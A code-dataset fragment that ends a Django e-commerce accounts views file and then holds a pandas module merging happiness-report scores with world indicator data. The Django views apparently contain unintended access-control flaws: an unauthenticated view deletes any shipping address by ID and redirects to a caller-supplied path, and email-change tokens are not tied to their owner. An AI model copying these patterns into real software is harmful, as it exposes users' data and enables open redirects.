User.objects.get(email=recipient)\n return HttpResponse('this email is taken, please try again')\n except:\n pass\n\n user = request.user \n t = EmailToken.objects.create(user=user)\n host = request.get_host()\n path = reverse('accounts:new-token-validation', kwargs={'token': t})\n new_email_confirmation_link = f'http://{host}{path}'\n\n send_mail(\n subject = 'new email confirmation',\n message = 'I do not know how is this gonna be displayed',\n html_message = f'hey {request.user.first_name}, you requested changing your email, click on this link to confirm your new email',\n from_email = EMAIL_HOST_USER,\n recipient_list = [recipient],\n fail_silently=False,\n )\n\n request.session['email'] = recipient\n\n return redirect('accounts:new-email-token-sent-success')\n\n@login_required(login_url='/account/login')\ndef new_email_token_sent_success(request):\n email = request.session['email']\n return render(request, 'accounts/new-email-token-sent-success.html', {'email':email})\n\n@login_required(login_url='/account/login')\ndef new_token_validation(request, token):\n try:\n token_obj = EmailToken.objects.get(token=token)\n user = request.user\n if token_obj.active:\n token_obj.active = False\n token_obj.save()\n user.email = request.session['email']\n user.save()\n del request.session['email']\n return render(request, 'accounts/new-token-validated.html')\n except Exception as error:\n return render(request, 'accounts/token_error.html', {'error': error})\n\n@login_required(login_url='/account/login')\ndef new_token_validated(request):\n return render(request, ('accounts/new-token-validated.html'))\n\nclass OrderDetails(DetailView):\n model = Order\n slug_field = 'order_id'\n slug_url_kwarg = 'order_id'\n template_name = 'accounts/order_details.html'\n\n\n# try to figure out how to do it with CBVs\n@require_POST\ndef add_shipping_address(request):\n form = ShippingAddressForm(request.POST)\n if form.is_valid():\n address = form.save(commit=False)\n address.user = request.user\n address.save()\n return redirect('accounts:settings')\n\n@require_POST\ndef delete_shipping_address(request, address_pk):\n address = ShippingAddress.objects.get(pk=address_pk)\n address.delete()\n redirect_path = request.POST.get('redirect_path')\n return redirect(redirect_path)","repo_name":"akramkrimo/ecommerce","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74492370754","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom os import listdir\nfrom os.path import isfile, join\nfrom tqdm import tqdm\nimport pandas as pd\nfrom sklearn.preprocessing import OneHotEncoder\nimport sys\nsys.path.append(\"C:\\\\Users\\\\User\\\\WORK\\\\workspace-ia\\\\PERSO\\\\\")\nsys.path.append(\"C:\\\\Users\\\\User\\\\WORK\\\\workspace-ia\\\\PERSO\\\\ara_commons\\\\\")\nfrom ara_commons.countries.country_constants import get_country_data, get_country_official_name\nfrom ara_commons.ara_df import remove_na_columns\n\n# ----------------------------------------------------------------------------------\n# SPECIFIC BONHEUR\n# ----------------------------------------------------------------------------------\ndef get_country_name(current_name, verbose=0):\n # country_code, continent_code, latitude, longitude, a3, official_name, country_id = get_country_data(current_name, verbose=verbose)\n official_name = get_country_official_name(country_name = current_name, verbose=verbose)\n if official_name is None:\n official_name = current_name\n return official_name\n\ndef df_remove_duplicated_switch_NA(df, subset=['country_official', 'year'], keep=\"first\", verbose=0):\n df_global_clean = df.copy()\n if verbose:\n print(f\"Suppression des lignes dupliquées {df_global_clean[df_global_clean.duplicated(subset=subset)].shape} > {df_global_clean.shape}\")\n # Suppression des lignes en doublon\n df_global_clean[\"NB_NA\"] = df_global_clean.isna().sum(axis=1)\n df_global_clean = df_global_clean.sort_values(\"NB_NA\", ascending=True)\n df_global_clean = df_global_clean.drop_duplicates(subset=subset, keep=keep)\n df_global_clean = df_global_clean.drop(columns=[\"NB_NA\"])\n if verbose:\n print(f\"{df_global_clean[df_global_clean.duplicated(subset=subset)].shape} > {df_global_clean.shape}\")\n return df_global_clean\n\n\ndef complete_df_with_country_datas(df_param, country_col_name=\"pays\", verbose=0):\n # Ajout de la colonne country\n df = None\n if df_param is not None:\n df = df_param.copy()\n df[\"country_official\"] = df[country_col_name].apply(lambda x : get_country_name(x, verbose=verbose))\n return df\n\ndef merge_generic_world_data_files(world_datas_files, df_global_completed, data_set_path,country_official_col_name='country_official',country_col_name='country',world_start_with=\"world_\" , verbose=0):\n proceed = set()\n not_proceed = set(world_datas_files.copy())\n\n dic_world_df = {}\n for file_name in world_datas_files:\n try:\n df_temp = pd.read_csv(data_set_path+file_name, sep=',')\n\n if verbose:\n print(f\"{file_name}==>{df_temp.shape} : \", end=\"\")\n if verbose>1:\n print(f\"{list(df_temp.columns)}\")\n prefix = file_name.replace(world_start_with, \"\").replace(\".csv\", \"\")\n cols = list(df_temp.columns)\n\n if \"gini\" in prefix.lower() or \"Intentional homicide victims\".lower() in prefix.lower() or (\"Subgroup\" in cols and not \"Women_Par_100_Men\".lower() in prefix.lower()) or \"Subgroup\".lower() in cols:\n if verbose:\n print(\"NOT PROCEED\")\n else: \n # Fusion avec la DF Globale\n try:\n df_global_completed, df_temp = merge_generic_world_df(df_temp, df_global_completed, prefix,country_official_col_name=country_official_col_name,country_col_name=country_col_name, verbose=verbose)\n proceed.add(file_name)\n if verbose:\n print(f\" ==>{df_global_completed.shape}\")\n except Exception as error:\n print(f\"{file_name}==> MERGE with Global DF FAIL : {error}\")\n dic_world_df[file_name] = df_temp\n except Exception as error:\n print(f\"{file_name}==>{error}\")\n \n df_global_completed = df_global_completed.sort_values(['country_official', 'year'])\n \n for tp in proceed:\n not_proceed.remove(tp)\n\n return df_global_completed, dic_world_df, proceed, not_proceed\n\n\ndef merge_generic_world_data_files_save(world_datas_files, df_global_completed, data_set_path,country_official_col_name='country_official',country_col_name='country',world_start_with=\"world_\" , verbose=0):\n proceed = set()\n not_proceed = set(world_datas_files.copy())\n\n dic_world_df = {}\n for file_name in world_datas_files:\n try:\n df_temp = pd.read_csv(data_set_path+file_name, sep=',')\n if verbose:\n print(f\"{file_name}==>{df_temp.shape} : \", end=\"\")\n if verbose>1:\n print(f\"{list(df_temp.columns)}\")\n prefix = file_name.replace(world_start_with, \"\").replace(\".csv\", \"\")\n to_drop_cols = set()\n cols = list(df_temp.columns)\n\n if \"gini\" in prefix.lower() or \"Intentional homicide victims\".lower() in prefix.lower() or \"Subgroup\" in cols or \"Subgroup\".lower() in cols:\n if verbose:\n print(\"NOT PROCEED\")\n else:\n merged_cols = [country_official_col_name]\n for c in cols:\n # Country or Area\tYear\tArea\tSex\tRecord Type\tReliability\tSource Year\tValue\n if \"Country or Area\".lower() == c.lower() or \"Country or Territory\".lower() == c.lower():\n df_temp = df_temp.rename(columns={c:country_col_name})\n else:\n if \"year\" == c.lower():\n df_temp = df_temp.rename(columns={c:c.lower()})\n merged_cols.append(c.lower())\n elif \"value\" == c.lower() or \"Annual\".lower() == c.lower(): \n try:\n df_temp.loc[df_temp[c]==\"-9999.9\", c] = np.nan\n except:\n pass\n try:\n df_temp.loc[df_temp[c]==-9999.9, c] = np.nan\n except:\n pass\n df_temp = df_temp.rename(columns={c:prefix})\n elif \"Annual NCDC Computed Value\".lower() == c.lower(): \n try:\n df_temp.loc[df_temp[c]==\"-9999.9\", c] = np.nan\n except:\n pass\n try:\n df_temp.loc[df_temp[c]==-9999.9, c] = np.nan\n except:\n pass \n df_temp = df_temp.rename(columns={c:prefix+\" NCDC Computed\"})\n else:\n to_drop_cols.add(c)\n\n try:\n # On ne garde que les lignes de total\n df_temp = df_temp[df_temp[\"Area\"] == \"Total\"]\n except :\n pass\n\n try:\n v = list(df_temp[\"Sex\"].unique())\n if \"Both Sexes\" in v:\n df_temp = df_temp[df_temp[\"Sex\"] == \"Both Sexes\"]\n except:\n pass\n\n if verbose>1:\n print(f\"{file_name}==>{df_temp.shape} : {list(df_temp.columns)}\")\n df_temp = complete_df_with_country_datas(df_temp[df_temp[country_col_name].notna()], country_col_name=country_col_name, verbose=0)\n \n if len(world_datas_files)>1:\n to_drop_cols.add(country_col_name)\n\n if verbose>1:\n print(f\"{file_name}==>{df_temp.shape} : {list(df_temp.columns)}\")\n print(f\"{file_name}==>Suppression des colonnes inutiles :{to_drop_cols}\")\n \n for c in to_drop_cols:\n df_temp = df_temp.drop(c, axis=1)\n\n # Suppression des lignes en doublon\n df_temp = df_remove_duplicated_switch_NA(df_temp,subset=list(df_temp.columns), keep=\"first\", verbose=verbose-1)\n \n # Fusion avec la DF Globale\n try:\n try:\n df_temp[\"year\"] = df_temp[\"year\"].astype(int)\n except:\n pass\n if verbose:\n if verbose>1:\n print(f\"{file_name}==>{df_temp.shape} : {list(df_temp.columns)}\")\n print(f\"GLOBAL DF ==>{df_global_completed.shape}\", end=\"\")\n df_global_completed = df_global_completed.merge(df_temp, how='left', on=merged_cols, indicator=len(world_datas_files)==1)\n proceed.add(file_name)\n\n df_global_completed = df_remove_duplicated_switch_NA(df_global_completed,subset=['country_official', 'year'], keep=\"first\", verbose=verbose-1)\n \n if verbose:\n print(f\" ==>{df_global_completed.shape}\")\n except Exception as error:\n print(f\"{file_name}==> MERGE with Global DF FAIL : {error}\")\n dic_world_df[file_name] = df_temp\n except Exception as error:\n print(f\"{file_name}==>{error}\")\n\n try:\n df_global_completed = df_global_completed.sort_values(['country_official', 'year'])\n except Exception as error:\n print(f\"FAIL to convert year to INT : {error}\")\n for tp in proceed:\n not_proceed.remove(tp)\n return df_global_completed, dic_world_df, proceed, not_proceed\n\n\ndef merge_generic_world_df(df_temp, df_global_completed, prefix,country_official_col_name='country_official',country_col_name='country', verbose=0):\n \n to_drop_cols = set()\n cols = list(df_temp.columns)\n \n merged_cols = [country_official_col_name]\n for c in cols:\n # Country or Area\tYear\tArea\tSex\tRecord Type\tReliability\tSource Year\tValue\n if \"Country or Area\".lower() == c.lower() or \"Country or Territory\".lower() == c.lower():\n df_temp = df_temp.rename(columns={c:country_col_name})\n else:\n if \"year\" == c.lower():\n df_temp = df_temp.rename(columns={c:c.lower()})\n merged_cols.append(c.lower())\n elif \"value\" == c.lower() or \"Annual\".lower() == c.lower(): \n try:\n df_temp.loc[df_temp[c]==\"-9999.9\", c] = np.nan\n except:\n pass\n try:\n df_temp.loc[df_temp[c]==-9999.9, c] = np.nan\n except:\n pass\n df_temp = df_temp.rename(columns={c:prefix})\n elif \"Annual NCDC Computed Value\".lower() == c.lower(): \n try:\n df_temp.loc[df_temp[c]==\"-9999.9\", c] = np.nan\n except:\n pass\n try:\n df_temp.loc[df_temp[c]==-9999.9, c] = np.nan\n except:\n pass \n df_temp = df_temp.rename(columns={c:prefix+\" NCDC Computed\"})\n else:\n to_drop_cols.add(c)\n\n try:\n # On ne garde que les lignes de total\n df_temp = df_temp[df_temp[\"Area\"] == \"Total\"]\n except :\n pass\n\n try:\n v = list(df_temp[\"Sex\"].unique())\n if \"Both Sexes\" in v:\n df_temp = df_temp[df_temp[\"Sex\"] == \"Both Sexes\"]\n except:\n pass\n\n if verbose>1:\n print(f\"{prefix}==>{df_temp.shape} : {list(df_temp.columns)}\")\n df_temp = complete_df_with_country_datas(df_temp[df_temp[country_col_name].notna()], country_col_name=country_col_name, verbose=0)\n \n to_drop_cols.add(country_col_name)\n\n if verbose>1:\n print(f\"{prefix}==>{df_temp.shape} : {list(df_temp.columns)}\")\n print(f\"{prefix}==>Suppression des colonnes inutiles :{to_drop_cols}\")\n \n for c in to_drop_cols:\n df_temp = df_temp.drop(c, axis=1)\n\n # Suppression des lignes en doublon\n df_temp = df_remove_duplicated_switch_NA(df_temp,subset=list(df_temp.columns), keep=\"first\", verbose=verbose-1)\n \n # Fusion avec la DF Globale\n try:\n try:\n df_temp[\"year\"] = df_temp[\"year\"].astype(int)\n except:\n pass\n if verbose:\n if verbose>1:\n print(f\"{prefix}==>{df_temp.shape} : {list(df_temp.columns)}\")\n print(f\"GLOBAL DF ==>{df_global_completed.shape}\", end=\"\")\n df_global_completed = df_global_completed.merge(df_temp, how='left', on=merged_cols, indicator=False)\n df_global_completed = df_remove_duplicated_switch_NA(df_global_completed,subset=['country_official', 'year'], keep=\"first\", verbose=verbose-1)\n \n if verbose:\n print(f\" ==>{df_global_completed.shape}\")\n except Exception as error:\n print(f\"{prefix}==> MERGE with Global DF FAIL : {error}\")\n \n return df_global_completed, df_temp\n\n\ndef load_scores_files(score_dataset_filenames, data_set_path, country_col_name = \"country\", country_official_name = 'country_official', score_rapport_with=\"Rapport-bonheur-\", verbose=0):\n df_origine = None\n df_origine_by_line = None\n min_year = -1\n max_year = -1\n country_origin_col_name = country_col_name+\"_origin\"\n\n sizes = []\n\n for score_file_name in tqdm(score_dataset_filenames):\n # Récupération de l'année dans le nom du fichier\n year = score_file_name.replace(score_rapport_with,\"\")\n year = year.split(\".\")[0].strip()\n \n # chargement des données\n df_temp = pd.read_csv(data_set_path+score_file_name, sep=',')\n df_temp = df_temp.sort_values(by=country_col_name)\n\n # Suppression des caractères spéciaux dans les noms de pays\n df_temp[country_col_name] = df_temp[country_col_name].str.replace(\"*\", \"\", regex=False)\n df_temp[country_col_name] = df_temp[country_col_name].str.strip()\n\n df_temp[country_origin_col_name] = df_temp[country_col_name]\n \n # Correction des pays\n # df_temp.loc[df_temp[country_col_name] == \"Taiwan Province of China\", country_col_name] = \"Republic of China\"\n # df_temp.loc[df_temp[country_col_name] == \"Trinidad & Tobago\", country_col_name] = \"Trinidad and Tobago\"\n # df_temp.loc[df_temp[country_col_name] == \"Hong Kong\", country_col_name] = \"Hong Kong S.A.R. of China\"\n # df_temp.loc[df_temp[country_col_name] == \"Eswatini, Kingdom of\", country_col_name] = \"Eswatini\"\n # df_temp.loc[df_temp[country_col_name] == \"North Cyprus\", country_col_name] = \"Northern Cyprus\"\n # df_temp.loc[df_temp[country_col_name] == \"Czechia\", country_col_name] = \"Czech Republic\"\n\n # # df_temp.loc[df_temp[country_col_name] == \"Congo (Kinshasa)\", country_col_name] = \"Democratic Republic of the Congo\"\n # # df_temp.loc[df_temp[country_col_name] == \"Congo (Brazzaville)\", country_col_name] = \"Republic of the Congo\"\n # df_temp.loc[df_temp[country_col_name] == \"Swaziland\", country_col_name] = \"Eswatini\"\n df_temp[country_col_name] = df_temp[country_col_name].str.strip()\n\n # Ajout de la colonne avec le nom officiel du pays\n df_temp = complete_df_with_country_datas(df_temp, country_col_name=country_col_name, verbose=verbose)\n cols_names = list(df_temp.columns)\n cols_names.remove(country_official_name)\n cols_names.remove(country_col_name)\n cols_names.insert(0, country_official_name)\n cols_names.insert(1, country_col_name)\n df_temp = df_temp[cols_names]\n try:\n df_temp = df_temp.sort_values(by=[\"rank\"])\n except:\n pass\n \n # Il faut traiter les doublons dès maintenant pour éviter des soucis dans la suite des traitements, donc pour les pays : `Republic of Cyprus` et `Kingdom of Sweden`\n previous_size = df_temp.shape[0]\n if verbose:\n print(df_temp.duplicated(subset=[country_official_name]))\n df_temp = df_temp.drop_duplicates(subset=[country_official_name], keep=\"first\")\n if verbose:\n print(f\"{score_file_name} before drop duplicated on {country_official_name} : {previous_size}, AFTER : {df_temp.shape[0]} => {previous_size-df_temp.shape[0]} rows DELETED\")\n\n df_temp2 = df_temp.copy()\n\n initial_columns_name = list(df_temp.columns)\n\n for col in initial_columns_name:\n # Suppression des colonnes non utilisées\n if \"Explained by:\" in col or \"ladder\" in col.lower():\n df_temp = df_temp.drop(col, axis=1)\n df_temp2 = df_temp2.drop(col, axis=1)\n else:\n # Uniformisation des noms de colonne\n if \"residual\" in col:\n df_temp = df_temp.rename(columns={col:'Dystopia + residual'})\n df_temp2 = df_temp2.rename(columns={col:'Dystopia + residual'})\n col = 'Dystopia + residual'\n elif \"whisker\" in col.lower() and \"low\" in col.lower():\n df_temp = df_temp.rename(columns={col:'Whisker-low'})\n df_temp2 = df_temp2.rename(columns={col:'Whisker-low'})\n col = 'Whisker-low'\n elif \"whisker\" in col.lower() and \"upper\" in col.lower():\n df_temp = df_temp.rename(columns={col:'Whisker-high'})\n df_temp2 = df_temp2.rename(columns={col:'Whisker-high'})\n col = 'Whisker-high'\n\n # Ajout de l'année dans les noms de colonnes ou à l'inverse suppression de l'année\n if year not in col and country_official_name != col:\n df_temp = df_temp.rename(columns={col:year+\"-\"+col})\n elif col != year:\n df_temp2 = df_temp2.rename(columns={col:col.replace(year+\"-\", \"\")})\n elif col == year:\n df_temp2 = df_temp2.rename(columns={col:\"score\"})\n \n # Ajout de la variable année pour la DF en ligne\n df_temp2[\"year\"] = year\n if df_origine is None:\n df_origine = df_temp\n df_origine_by_line = df_temp2\n min_year = int(year)\n max_year = int(year)\n \n else:\n if int(year) > max_year:\n max_year = int(year)\n if int(year) < min_year:\n min_year = int(year)\n # df_origine = df_origine.merge(df_temp, on=country_col_name, how=\"outer\", indicator=True)\n df_origine = df_origine.merge(df_temp, on=country_official_name, how=\"outer\", indicator=True)\n df_origine = df_origine.rename(columns={\"_merge\":year+\"_merge\"})\n df_origine_by_line = pd.concat([df_origine_by_line,df_temp2], axis=0)\n \n sizes.append(f\"{score_file_name} CURRENT : {df_temp.shape} ==> : {df_origine.shape} ==> {df_origine_by_line.shape}\")\n\n df_origine_by_line = df_origine_by_line.sort_values(by=country_official_name)\n df_origine = df_origine.sort_values(by=country_official_name)\n\n if verbose:\n for line in sizes:\n print(f\"{line}\")\n \n df_origine_light = df_origine.copy()\n\n # On complète les données\n df_origine_light[\"2020-Regional indicator\"] = df_origine_light[\"2020-Regional indicator\"].fillna(df_origine_light[\"2021-Regional indicator\"])\n df_origine_light[\"2021-Regional indicator\"] = df_origine_light[\"2021-Regional indicator\"].fillna(df_origine_light[\"2020-Regional indicator\"])\n df_origine_light = df_origine_light.rename(columns={\"2020-Regional indicator\":\"Regional indicator\"})\n df_origine_light = df_origine_light.drop(\"2021-Regional indicator\", axis=1)\n\n # Suppression des colonnes devenues inutiles\n for i in range (min_year, max_year+1, 1):\n try:\n c_n = str(i)\n df_origine_light = df_origine_light.drop(c_n+\"_merge\", axis=1)\n except:\n pass\n # correction des types des colonnes\n df_origine_light = df_correct_type_to_float(df_origine_light, exclude_cols=[country_col_name, country_official_name, \"Regional indicator\"], verbose=verbose)\n df_origine = df_correct_type_to_float(df_origine, exclude_cols=[country_col_name, country_official_name, \"Regional indicator\"], verbose=verbose)\n df_origine_by_line = df_correct_type_to_float(df_origine_by_line, exclude_cols=[country_col_name, country_official_name, \"Regional indicator\"], verbose=verbose)\n \n # Réorganisation des colonnes\n cols = list(df_origine_light.columns)\n \n cols.remove(country_official_name)\n cols.insert(0, country_official_name)\n cols.remove(\"Regional indicator\")\n cols.insert(1, \"Regional indicator\")\n current = 2\n # Suppression des colonnes devenues inutiles\n for i in range (min_year, max_year+1, 1):\n try:\n c_n = str(i)\n cols.remove(c_n)\n cols.remove(c_n+\"-\"+country_origin_col_name)\n cols.insert(current, c_n+\"-\"+country_origin_col_name)\n cols.insert(current+3, c_n)\n current += 1\n except:\n pass\n \n df_origine_light = df_origine_light[cols]\n\n return df_origine_light, df_origine_by_line, df_origine\n\n\ndef score_by_line_merge_official_historic(df_official_historic, df_score_by_line, verbose=0):\n # Concaténation des DF pour avoir une seule DF finale\n df_light_completed_by_line_v1 = pd.concat([df_official_historic, df_score_by_line])\n df_light_completed_by_line_v1 = df_light_completed_by_line_v1.sort_values([\"country_official\", \"year\"])\n\n if verbose:\n print(f\"Suppression des NA sur le score : {df_light_completed_by_line_v1.shape}\", end=\"\")\n df_light_completed_by_line_v1 = df_light_completed_by_line_v1[df_light_completed_by_line_v1[\"score\"].notna()]\n if verbose:\n print(f\" => {df_light_completed_by_line_v1.shape}\")\n\n if verbose:\n print(f\"Suppression des lignes dupliquées : {df_light_completed_by_line_v1.shape}\", end=\"\")\n df_light_completed_by_line_v1[\"NB_NA\"] = df_light_completed_by_line_v1.isna().sum(axis=1)\n df_light_completed_by_line_v1 = df_light_completed_by_line_v1.sort_values(\"NB_NA\", ascending=True)\n df_light_completed_by_line_v1 = df_light_completed_by_line_v1.drop_duplicates(subset=['country_official', 'year'], keep=\"first\")\n df_light_completed_by_line_v1 = df_light_completed_by_line_v1.drop(columns=[\"NB_NA\"])\n \n if verbose:\n print(f\" => {df_light_completed_by_line_v1.shape}\")\n\n # Réorganisation des données\n df_light_completed_by_line_v1 = score_by_line_clean_index_and_sort(df_light_completed_by_line_v1, verbose=verbose)\n return df_light_completed_by_line_v1\n\ndef score_by_line_clean_index_and_sort(df, verbose=0):\n # Réorganisation des données\n if verbose:\n print(f\"Trie des données\", end=\"\")\n df = df.sort_values([\"country_official\", \"year\"])\n df = df.reset_index()\n df = df.drop(\"index\", axis=1)\n if verbose:\n print(f\".... END\")\n return df\n\n\ndef score_by_line_complete_with_historic_score(df_evolution_orgin, df_origine_by_line, verbose=0):\n # copie des données initiales\n if verbose:\n print(\"INPUT\",df_origine_by_line.shape,\" dont score NA :\", df_origine_by_line[\"score\"].isna().sum())\n df_light_completed_by_line = df_origine_by_line[df_origine_by_line[\"score\"].notna()].copy()\n df_evolution_orgin_by_line = df_evolution_orgin.copy()\n\n # Ajout des données du fichier historique des scores\n for i in range (2015, 2021):\n # Création d'une DF temporaire pour inverser les valeurs\n df_temp = df_evolution_orgin_by_line[['country', 'country_official', 'score_'+str(i)]].copy()\n df_temp = df_temp[df_temp['score_'+str(i)].notna()]\n df_temp[\"year\"] = i\n df_temp = df_temp.rename(columns={'score_'+str(i):\"score\"})\n # on supprime les valeurs na\n if verbose>1:\n print(i, \"score NA :\", df_temp[\"score\"].isna().sum(), end=\"\")\n df_temp = df_temp[df_temp[\"score\"].notna()]\n if verbose>1:\n print(\" - AFTER NA :\", df_temp[\"score\"].isna().sum())\n\n # Concaténation des DF pour avoir une seule DF finale\n df_light_completed_by_line = pd.concat([df_light_completed_by_line, df_temp])\n\n if verbose:\n print(\"OUTPUT\",df_light_completed_by_line.shape,\" dont score NA :\", df_light_completed_by_line[\"score\"].isna().sum())\n return df_light_completed_by_line\n\ndef fill_na_regional_indicator(df_param, verbose=0):\n\n # copie des données initiales\n df = df_param.copy()\n regions_group = df[df['Regional indicator'].notna()].groupby(['country_official', 'Regional indicator']).agg({'Regional indicator':['count']})\n regions_group = regions_group.reset_index()\n regions_group.columns = regions_group.columns.droplevel()\n regions_group.columns = ['country_official', 'Regional indicator2',\"count Regional indicator\"]\n regions_group = regions_group.sort_values(by=['count Regional indicator'], ascending=False)\n \n if verbose>1:\n print(\"nb_regions : \", regions_group.shape, end=\"\")\n\n regions_group = regions_group.drop_duplicates(subset=[\"country_official\"], keep=\"first\")\n regions_group = regions_group.drop(\"count Regional indicator\", axis=1)\n\n if verbose>1:\n print(\" after drop duplicated : \", regions_group.shape)\n\n # Fusion des DF\n df = df.merge(regions_group, on=\"country_official\", how=\"left\", indicator=False)\n\n if verbose:\n print(\"INPUT Regional indicator NA : \",df[\"Regional indicator\"].isna().sum(), end=\"\")\n df[\"Regional indicator\"] = df[\"Regional indicator\"].fillna(df[\"Regional indicator2\"]) \n if verbose:\n print(\" => OUTPUT : \",df[\"Regional indicator\"].isna().sum())\n\n # Suppression de la colonne ajoutée\n df = df.drop([\"Regional indicator2\"], axis=1)\n return df\n\ndef merge_and_clean_country_by_year(df, start=2019, end=2022, verbose=0):\n nb_years = end - start\n df_origine_light_completed2 = df.copy()\n df_origine_light_completed2 = df_origine_light_completed2.rename(columns={\"2019-country_origin\":\"country_origin\", \"2019-country\":\"country\"})\n\n print(f\"country_origin na:{df_origine_light_completed2['country_origin'].isna().sum()} and country na:{df_origine_light_completed2['country'].isna().sum()}\")\n for i in range(start+1, end+1, 1):\n df_origine_light_completed2[\"country_origin\"] = df_origine_light_completed2[\"country_origin\"].fillna(df_origine_light_completed2[str(i)+\"-country_origin\"])\n df_origine_light_completed2[\"country\"] = df_origine_light_completed2[\"country\"].fillna(df_origine_light_completed2[str(i)+\"-country\"])\n cn = str(i)\n try:\n df_origine_light_completed2 = df_origine_light_completed2.drop(cn+\"-country_origin\", axis=1)\n df_origine_light_completed2 = df_origine_light_completed2.drop(cn+\"-country\", axis=1)\n except:\n pass\n print(f\"country_origin na:{df_origine_light_completed2['country_origin'].isna().sum()} and country na:{df_origine_light_completed2['country'].isna().sum()}\")\n try:\n # On ne garde que le pays d'origine\n df_origine_light_completed2 = df_origine_light_completed2.drop(\"country\", axis=1)\n except:\n pass\n\n cols = list(df_origine_light_completed2.columns)\n cols.remove(\"country_origin\")\n cols.insert(1, \"country_origin\")\n\n init_pos = 3\n for i in tqdm(range(start, end+1, 1)):\n cn = str(i)\n cols.remove(cn)\n cols.insert(init_pos, cn)\n try:\n cols.remove(cn+\"-rank\")\n cols.insert(init_pos+nb_years, cn+\"-rank\")\n except:\n pass\n cols.remove(cn+\"-PIB\")\n cols.insert(init_pos+(nb_years*2), cn+\"-PIB\")\n init_pos +=1\n \n df_origine_light_completed2 = df_origine_light_completed2[cols]\n return df_origine_light_completed2\n\n\ndef df_correct_type_to_float(df_param, rounded=3, exclude_cols=[], verbose=0):\n # correction des types des colonnes\n df = df_param.copy()\n cols = list(df.columns)\n for c in exclude_cols:\n try:\n cols.remove(c)\n except:\n pass\n \n for c_n in cols:\n try:\n df[c_n] = df[c_n].str.replace(\",\", \".\", regex=False)\n df[c_n] = df[c_n].astype(float) \n if rounded is not None:\n df[c_n] = df[c_n].apply(lambda x: round(x, rounded))\n except:\n try:\n df[c_n] = df[c_n].str.replace(\".\", \",\", regex=False)\n except:\n pass\n return df\n\ndef load_world_gini_file(data_set_path, file_name, df,subset=['country_official', 'year'], excluded_cols=[], indicator=False, verbose=0):\n gini_file_path = data_set_path + file_name\n \n df_gini = pd.read_csv(gini_file_path, sep=',')\n df_gini = remove_na_columns(df_gini, max_na=85, excluded_cols=excluded_cols, verbose=verbose-1, inplace=False)\n df_gini = df_gini[df_gini['Country Name'].notna()]\n if verbose:\n print(f\"{df_gini.shape} données chargées ------> {list(df_gini.columns)}\")\n df_gini = complete_df_with_country_datas(df_gini, 'Country Name', verbose=verbose-1)\n df_gini = df_gini.drop(['Country Name','Indicator Name', 'Indicator Code'], axis=1)\n \n # Préparation de l'ajout des données\n years_col_names = list(df_gini.columns)\n to_keep_cols = ['country_official', 'Country Code']\n\n for c in to_keep_cols:\n years_col_names.remove(c)\n\n # Construction de la seconde DF\n df_gini2 = None\n for y in years_col_names:\n y_cols = to_keep_cols.copy()\n y_cols.append(y)\n df_temp = df_gini[y_cols].copy()\n df_temp[\"year\"] = y\n df_temp = df_temp.rename(columns= {y:\"gini\"})\n df_temp = df_remove_duplicated_switch_NA(df_temp, verbose=verbose-1)\n try:\n df_temp[\"year\"] = df_temp[\"year\"].astype(int)\n except:\n pass\n if df_gini2 is None:\n df_gini2 = df_temp\n else:\n df_gini2 = pd.concat([df_gini2,df_temp], axis=0)\n df_gini2 = df_remove_duplicated_switch_NA(df_gini2,subset=subset, keep=\"first\", verbose=verbose-1)\n try:\n df_gini2 = df_correct_type_to_float(df_gini2, rounded=3, exclude_cols=[], verbose=verbose-1)\n except:\n pass\n res = df.merge(df_gini2, how='left', on=subset, indicator=indicator)\n res = df_remove_duplicated_switch_NA(res,subset=subset, keep=\"first\", verbose=verbose-1)\n \n return res, df_gini2\n\n\ndef load_world_homicide_file(file_path, file_name, df,subset=['country_official', 'year'], excluded_cols=[], indicator=False, verbose=0):\n\n unit=\"rate\"\n if unit.lower() not in file_name.lower():\n unit = \"nb\"\n \n df_origin = pd.read_csv(file_path+file_name, sep=',')\n df_origin = remove_na_columns(df_origin, max_na=85, excluded_cols=excluded_cols, verbose=verbose-1, inplace=False)\n df_origin = df_origin[df_origin['Country'].notna()]\n if verbose:\n print(f\"{df_origin.shape} données chargées ------> {list(df_origin.columns)}\")\n df_origin = complete_df_with_country_datas(df_origin, 'Country', verbose=verbose-1)\n df_origin = df_origin.drop(['Region', 'Subregion', 'Country','Source'], axis=1)\n\n # Préparation de l'ajout des données\n years_col_names = list(df_origin.columns)\n to_keep_cols = ['country_official']\n for c in to_keep_cols:\n try:\n years_col_names.remove(c)\n except:\n pass\n\n df_gender = None\n sub_df = []\n genders_cols_names = []\n for gender in df_origin[\"Gender\"].unique():\n selection = df_origin[df_origin[\"Gender\"]==gender].copy()\n for y in years_col_names:\n if \"Nb_\".lower() not in y.lower() and \"Gender\".lower() not in y.lower():\n y_cols = to_keep_cols.copy()\n y_cols.append(y)\n df_temp = selection[y_cols].copy()\n df_temp[\"year\"] = y\n new_name = \"intentional homicide victims \"+gender+\" \"+unit\n df_temp = df_temp.rename(columns= {y:new_name})\n genders_cols_names.append(new_name)\n df_temp = df_remove_duplicated_switch_NA(df_temp, verbose=verbose-1)\n try:\n df_temp[\"year\"] = df_temp[\"year\"].astype(int)\n except:\n pass\n if df_gender is None:\n df_gender = df_temp\n else:\n df_gender = pd.concat([df_gender,df_temp], axis=0)\n # df_homicide = df_remove_duplicated_switch_NA(df_homicide,subset=subset, keep=\"first\", verbose=verbose-1)\n sub_df.append(df_gender)\n df_gender = None\n\n df_homicide = None\n for df_gender in sub_df:\n if df_homicide is None:\n df_homicide = df_gender\n else:\n df_homicide = df_homicide.merge(df_gender, how='outer', on=subset)\n\n try:\n df_homicide = df_correct_type_to_float(df_homicide, rounded=3, exclude_cols=[], verbose=verbose-1)\n except:\n pass\n res = df.merge(df_homicide, how='left', on=subset, indicator=indicator)\n res = df_remove_duplicated_switch_NA(res,subset=subset, keep=\"first\", verbose=verbose-1)\n\n # on ne fait la somme que pour les nombres, car le ratio est la part des homicides par sexe et non total pays\n if \"nb\" in unit.lower():\n res[\"Homicide victime \"+unit] = 0\n for g in genders_cols_names:\n res[\"Homicide victime \"+unit] = res[\"Homicide victime \"+unit] + res[g]\n \n return res, df_homicide\n\ndef load_world_population_file(file_path, file_name, df,subset=['country_official', 'year'],excluded_cols=[], indicator=False, verbose=0):\n\n df_origin = pd.read_csv(file_path+file_name, sep=',')\n df_origin = remove_na_columns(df_origin, max_na=85, excluded_cols=excluded_cols, verbose=verbose-1, inplace=False)\n df_origin = 